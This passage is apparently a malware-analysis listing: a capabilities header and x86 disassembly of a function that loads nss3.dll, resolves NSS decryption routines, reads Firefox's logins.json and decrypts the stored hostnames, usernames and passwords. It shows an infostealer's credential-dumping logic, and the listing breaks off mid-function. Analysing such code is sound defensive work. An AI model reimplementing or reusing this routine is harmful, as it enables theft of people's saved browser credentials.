Function at 0x1008afb0
Capabilities:
Link many functions at runtime
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x254
mov eax, dword [0x100fc008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], 0xf
lea eax, [ebp + 8]
mov dword [ebp - 0x144], esi
xor ebx, ebx
lea ecx, [ebp - 0x68]
push eax
mov dword [ebp - 0xc], ebx
mov byte [ebp - 0x1c], bl
call fcn.100ae9d0
cmp dword [ebp - 0x54], 0x10
lea eax, [ebp - 0x68]
cmovae eax, dword [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push str.nss3.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [ebp - 0x54]
mov edi, eax
cmp edx, 0x10
jb 0x1008b03c
mov ecx, dword [ebp - 0x68]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b032
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], bl
test edi, edi
jne 0x1008b133
push edi
push 0x100ede68
mov ecx, esi
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], 0xf
mov byte [esi], bl
call fcn.100af160
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x1008b09e
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b094
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c634
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], ebx
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], bl
cmp edx, 0x10
jb 0x1008b0df
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b0d5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c634
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], bl
cmp edx, 0x10
jb 0x1008b120
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b116
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c634
push edx
push ecx
call fcn.100baf94
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100baa39
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NSS_Init
push edi
call esi
push str.PL_Base64Decode
push edi
mov dword [0x100ff944], eax
call esi
push str.PK11SDR_Decrypt
push edi
mov dword [0x100ff96c], eax
call esi
push str.PK11_Authenticate
push edi
mov dword [0x100ff95c], eax
call esi
push str.PK11_GetInternalKeySlot
push edi
mov dword [0x100ff940], eax
call esi
push str.PK11_FreeSlot
push edi
mov dword [0x100ff900], eax
call esi
push str.NSS_Shutdown
push edi
mov dword [0x100ff954], eax
call esi
mov dword [0x100ff924], eax
lea ecx, [ebp - 0x34]
mov eax, dword [ebp + 0x30]
add eax, 0xc
mov dword [ebp - 0x24], ebx
push eax
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], bl
call fcn.100b1a80
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp + 0x20]
mov esi, dword [ebp - 0x20]
mov eax, esi
cmovae ecx, dword [ebp + 0x20]
mov edi, dword [ebp + 0x30]
mov edx, dword [ebp - 0x24]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x1008b1ef
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
lea esi, [eax + edx]
push esi
call fcn.100be470
add esp, 0xc
mov byte [esi + edi], bl
jmp 0x1008b204
mov byte [ebp - 0x130], bl
lea ecx, [ebp - 0x34]
push dword [ebp - 0x130]
push edi
call fcn.100b0560
push str.logins.json
lea ecx, [ebp - 0x34]
call fcn.100ae850
cmp dword [ebp - 0x20], 0x10
lea eax, [ebp - 0x34]
push 0x100f7320
cmovae eax, dword [ebp - 0x34]
push eax
call fcn.100c4b2d
add esp, 8
test eax, eax
je 0x1008b240
push eax
call fcn.100c4bbb
add esp, 4
mov byte [ebp - 0xf9], 1
jmp 0x1008b246
mov byte [ebp - 0xf9], bl
mov edx, dword [ebp - 0x20]
cmp edx, 0x10
jb 0x1008b27a
mov ecx, dword [ebp - 0x34]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b270
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c63e
push edx
push ecx
call fcn.100baf94
add esp, 8
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], bl
cmp byte [ebp - 0xf9], bl
je 0x1008c563
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push eax
call dword [0x100ff944]
sub esp, 0x14
lea eax, [ebp + 0x20]
mov ecx, esp
push eax
call fcn.100ae9d0
call fcn.1008a610
mov edx, eax
mov dword [ebp - 0x3c], ebx
mov ecx, edx
mov dword [ebp - 0x38], 0xf
add esp, 0x18
mov byte [ebp - 0x4c], bl
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008b2d0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x4c]
call fcn.100af160
cmp dword [ebp - 0x3c], ebx
jbe 0x1008c52f
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0x20], ebx
push str._hostname_:_______
lea ecx, [ebp - 0x30]
movups xmmword [ebp - 0x30], xmm0
call fcn.100adcc0
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0xe8], ebx
push str._encryptedUsername_:_______
lea ecx, [ebp - 0xf8]
movups xmmword [ebp - 0xf8], xmm0
call fcn.100adcc0
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0xd4], ebx
push str._encryptedPassword_:_______
lea ecx, [ebp - 0xe4]
movups xmmword [ebp - 0xe4], xmm0
call fcn.100adcc0
push 0x38
lea eax, [ebp - 0xd0]
push 0
push eax
call fcn.100bd8d0
mov eax, dword [ebp - 0x38]
lea esi, [ebp - 0x4c]
mov edx, dword [ebp - 0x4c]
add esp, 0xc
mov edi, 0xf
mov dword [ebp - 0x70], ebx
cmp eax, 0x10
mov dword [ebp - 0x6c], edi
mov byte [ebp - 0x80], bl
cmovae esi, edx
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], edi
mov byte [ebp - 0x68], bl
mov dword [ebp - 0x88], ebx
mov dword [ebp - 0x84], edi
mov byte [ebp - 0x98], bl
cmp eax, 0x10
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
cmovae ecx, edx
lea edx, [ebp - 0x30]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xd0]
push eax
push esi
call fcn.100b47e0
add esp, 0x10
test al, al
je 0x1008c3b0
mov ecx, dword [ebp - 0xc4]
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0xc8]
sub ecx, edi
imul ecx
lea ecx, [ebp - 0xa4]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
jbe 0x1008b3e8
lea ecx, [edi + 0xc]
cmp byte [ecx + 8], 0
je 0x1008b3f7
mov eax, dword [ecx]
mov edx, eax
mov ecx, dword [ecx + 4]
jmp 0x1008b3fd
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [ebp - 0x104], 0
mov edi, 0xf
mov dword [ebp - 0x100], edi
mov byte [ebp - 0x114], 0
cmp edx, ecx
je 0x1008b432
sub ecx, edx
push ecx
push eax
lea ecx, [ebp - 0x114]
call fcn.100af160
mov edi, dword [ebp - 0x100]
cmp edi, 0x10
lea ecx, [ebp - 0x114]
cmovae ecx, dword [ebp - 0x114]
call fcn.1008af00
mov edx, eax
mov ecx, edx
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008b450
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x80]
call fcn.100af160
mov edx, dword [ebp - 0x100]
cmp edx, 0x10
jb 0x1008b49d
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b493
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0xf8]
cmovae ecx, dword [ebp - 0x4c]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xd0]
push eax
push esi
call fcn.100b47e0
mov ecx, dword [ebp - 0xc4]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0xc8]
sub esp, 8
imul ecx
mov edi, esp
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
ja 0x1008b4f0
lea ecx, [ebp - 0xa4]
jmp 0x1008b4f9
mov ecx, dword [ebp - 0xc8]
add ecx, 0xc
cmp byte [ecx + 8], 0
je 0x1008b508
mov eax, dword [ecx]
mov edx, eax
mov ecx, dword [ecx + 4]
jmp 0x1008b50e
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp edx, ecx
je 0x1008b52e
sub ecx, edx
push ecx
push eax
mov ecx, edi
call fcn.100af160
call fcn.1008ada0
add esp, 0x18
mov ecx, eax
call fcn.1008af00
mov edx, eax
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008b544
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x68]
call fcn.100af160
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0xe4]
cmovae ecx, dword [ebp - 0x4c]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xd0]
push eax
push esi
call fcn.100b47e0
mov ecx, dword [ebp - 0xc4]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0xc8]
sub esp, 8
imul ecx
mov edi, esp
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
ja 0x1008b5aa
lea ecx, [ebp - 0xa4]
jmp 0x1008b5b3
mov ecx, dword [ebp - 0xc8]
add ecx, 0xc
cmp byte [ecx + 8], 0
je 0x1008b5c2
mov eax, dword [ecx]
mov edx, eax
mov ecx, dword [ecx + 4]
jmp 0x1008b5c8
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp edx, ecx
je 0x1008b5e8
sub ecx, edx
push ecx
push eax
mov ecx, edi
call fcn.100af160
call fcn.1008ada0
add esp, 0x18
mov ecx, eax
call fcn.1008af00
mov edx, eax
mov ecx, edx
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1008b600
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x98]
call fcn.100af160
mov ecx, 9
mov dword [ebp - 0x11c], 0
cmp dword [ebp - 0x70], ecx
lea eax, [ebp - 0x80]
mov dword [ebp - 0x118], 0xf
cmovb ecx, dword [ebp - 0x70]
cmp dword [ebp - 0x6c], 0x10
push ecx
cmovae eax, dword [ebp - 0x80]
lea ecx, [ebp - 0x12c]
push eax
mov byte [ebp - 0x12c], 0
call fcn.100af160
mov edx, str.chrome:__
lea ecx, [ebp - 0x12c]
call fcn.100af4e0
mov edx, dword [ebp - 0x118]
mov byte [ebp - 0xf9], al
cmp edx, 0x10
jb 0x1008b6ab
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b69b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c643
push edx
push ecx
call fcn.100baf94
mov al, byte [ebp - 0xf9]
add esp, 8
test al, al
jne 0x1008c33f
mov ecx, dword [ebp + 0x4c]
lea eax, [ebp + 0x38]
mov edx, dword [ebp + 0x38]
cmp ecx, 0x10
mov edi, dword [ebp + 0x48]
cmovae eax, edx
cmp edi, 1
jne 0x1008bd71
cmp byte [eax], 0x30
jne 0x1008bd71
cmp dword [ebp - 0x70], 0
je 0x1008bd71
cmp dword [ebp - 0x58], 0
je 0x1008bd71
cmp dword [ebp - 0x88], 0
je 0x1008bd71
lea eax, [ebx + 1]
mov dword [ebp - 0x104], 0
push eax
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x100], 0xf
mov byte [ebp - 0x114], 0
call fcn.100b1a80
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0x100]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x104]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x1008b76e
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x114]
cmovae eax, dword [ebp - 0x114]
lea edi, [eax + edx]
push edi
call fcn.100be470
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x1008b787
mov byte [ebp - 0x130], 0
lea ecx, [ebp - 0x114]
push dword [ebp - 0x130]
push ebx
call fcn.100b0560
push 0x100f7378
lea ecx, [ebp - 0x114]
call fcn.100ae850
lea eax, [ebp - 0x80]
push eax
lea edx, [ebp - 0x114]
lea ecx, [ebp - 0x12c]
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7374
call fcn.100ae850
lea ecx, [ebp - 0x1c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x20c], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x20c]
push eax
movq qword [ebp - 0x1fc], xmm0
call fcn.100ae910
mov edx, dword [ebp - 0x1f8]
cmp edx, 0x10
jb 0x1008b82c
mov ecx, dword [ebp - 0x20c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b822
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x1008b866
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b85c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x100]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x1008b8bb
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b8b1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
mov ebx, dword [ebp - 0xc]
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0xf
mov byte [ebp - 0x114], 0
lea eax, [ebx + 1]
push eax
call fcn.100b1a80
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0x100]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x104]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x1008b934
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x114]
cmovae eax, dword [ebp - 0x114]
lea edi, [eax + edx]
push edi
call fcn.100be470
add esp, 0xc
mov byte [edi + ebx], 0
jmp 0x1008b94d
mov byte [ebp - 0x134], 0
lea ecx, [ebp - 0x114]
push dword [ebp - 0x134]
push ebx
call fcn.100b0560
push 0x100f7378
lea ecx, [ebp - 0x114]
call fcn.100ae850
lea eax, [ebp - 0x68]
push eax
lea edx, [ebp - 0x114]
lea ecx, [ebp - 0x12c]
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7374
call fcn.100ae850
lea ecx, [ebp - 0x1c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x224], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x224]
push eax
movq qword [ebp - 0x214], xmm0
call fcn.100ae910
mov edx, dword [ebp - 0x210]
cmp edx, 0x10
jb 0x1008b9f2
mov ecx, dword [ebp - 0x224]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008b9e8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x1008ba2c
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008ba22
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x100]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x1008ba81
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008ba77
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
mov ebx, dword [ebp - 0xc]
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0xf
mov byte [ebp - 0x114], 0
lea eax, [ebx + 1]
push eax
call fcn.100b1a80
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0x100]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x104]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x1008bafa
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x114]
cmovae eax, dword [ebp - 0x114]
lea edi, [eax + edx]
push edi
call fcn.100be470
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x1008bb13
mov byte [ebp - 0x138], 0
lea ecx, [ebp - 0x114]
push dword [ebp - 0x138]
push ebx
call fcn.100b0560
push 0x100f7378
lea ecx, [ebp - 0x114]
call fcn.100ae850
lea eax, [ebp - 0x98]
push eax
lea edx, [ebp - 0x114]
lea ecx, [ebp - 0x12c]
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7374
call fcn.100ae850
lea ecx, [ebp - 0x1c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x23c], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x23c]
push eax
movq qword [ebp - 0x22c], xmm0
call fcn.100ae910
mov edx, dword [ebp - 0x228]
cmp edx, 0x10
jb 0x1008bbbb
mov ecx, dword [ebp - 0x23c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008bbb1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x118]
cmp edx, 0x10
jb 0x1008bbf5
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008bbeb
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x100]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x1008bc4a
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008bc40
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
mov ebx, dword [ebp - 0xc]
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0xf
mov byte [ebp - 0x114], 0
lea eax, [ebx + 1]
push eax
call fcn.100b1a80
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0x100]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x104]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x1008bcc3
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x114]
cmovae eax, dword [ebp - 0x114]
lea edi, [eax + edx]
push edi
call fcn.100be470
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x1008bcdc
mov byte [ebp - 0x13c], 0
lea ecx, [ebp - 0x114]
push dword [ebp - 0x13c]
push ebx
call fcn.100b0560
push 0x100eec84
lea ecx, [ebp - 0x114]
call fcn.100ae850
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100ae910
mov edx, dword [ebp - 0x100]
cmp edx, 0x10
jb 0x1008bd35
mov ecx, dword [ebp - 0x114]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008bd2b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
push 0
push 0x100ede68
lea ecx, [ebp - 0x80]
call fcn.100af160
push 0
push 0x100ede68
lea ecx, [ebp - 0x68]
call fcn.100af160
push 0
push 0x100ede68
lea ecx, [ebp - 0x98]
call fcn.100af160
mov ecx, dword [ebp + 0x4c]
mov edi, dword [ebp + 0x48]
mov edx, dword [ebp + 0x38]
mov ebx, dword [ebp - 0xc]
cmp ecx, 0x10
lea eax, [ebp + 0x38]
cmovae eax, edx
cmp edi, 1
jne 0x1008c339
cmp byte [eax], 0x31
jne 0x1008c339
cmp dword [ebp - 0x70], 0
je 0x1008c339
cmp dword [ebp - 0x58], 0
je 0x1008c339
cmp dword [ebp - 0x88], 0
je 0x1008c339
lea eax, [ebx + 3]
mov dword [ebp - 0x104], 0
push eax
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x100], 0xf
mov byte [ebp - 0x114], 0
call fcn.100b1a80
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0x100]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x104]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x1008be23
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x114]
cmovae eax, dword [ebp - 0x114]
lea edi, [eax + edx]
push edi
call fcn.100be470
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x1008be3c
mov byte [ebp - 0x140], 0
lea ecx, [ebp - 0x114]
push dword [ebp - 0x140]
push ebx
call fcn.100b0560
push 0x100f7384
lea ecx, [ebp - 0x114]
call fcn.100ae850
push 0x100f7380
lea ecx, [ebp - 0x114]
call fcn.100ae850
push str.Firefox
lea ecx, [ebp - 0x12c]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x12c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x11c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100ae850
push 0x100f7380
lea ecx, [ebp - 0x1ac]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1ac], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x19c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.100ae850
lea edx, [ebp - 0x194]
lea ecx, [ebp - 0x1f4]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x194], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x184], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x80]
push eax
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7380
call fcn.100ae850
lea edx, [ebp - 0x17c]
lea ecx, [ebp - 0x1dc]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x17c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x16c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x68]
push eax
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f7380
call fcn.100ae850
lea edx, [ebp - 0x164]
lea ecx, [ebp - 0x1c4]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x164], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x154], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x98]
push eax
call fcn.100af660
add esp, 4
mov ecx, eax
push 0x100f737c
call fcn.100ae850
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x254], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x244], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x1c]
call fcn.100ae910
mov edx, dword [ebp - 0x240]
cmp edx, 0x10
jb 0x1008c024
mov ecx, dword [ebp - 0x254]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c01a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1b0]
cmp edx, 0x10
jb 0x1008c05e
mov ecx, dword [ebp - 0x1c4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c054
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x150]
mov dword [ebp - 0x1b4], 0
mov dword [ebp - 0x1b0], 0xf
mov byte [ebp - 0x1c4], 0
cmp edx, 0x10
jb 0x1008c0b3
mov ecx, dword [ebp - 0x164]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c0a9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1c8]
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x150], 0xf
mov byte [ebp - 0x164], 0
cmp edx, 0x10
jb 0x1008c108
mov ecx, dword [ebp - 0x1dc]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c0fe
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x168]
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
mov byte [ebp - 0x1dc], 0
cmp edx, 0x10
jb 0x1008c15d
mov ecx, dword [ebp - 0x17c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c153
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1008c639
push edx
push ecx
call fcn.100baf94
add esp, 8
mov edx, dword [ebp - 0x1e0]
mov dword [ebp - 0x16c], 0
mov dword [ebp - 0x168], 0xf
mov byte [ebp - 0x17c], 0
cmp edx, 0x10
jb 0x1008c1b2
mov ecx, dword [ebp - 0x1f4]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1008c1a8
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
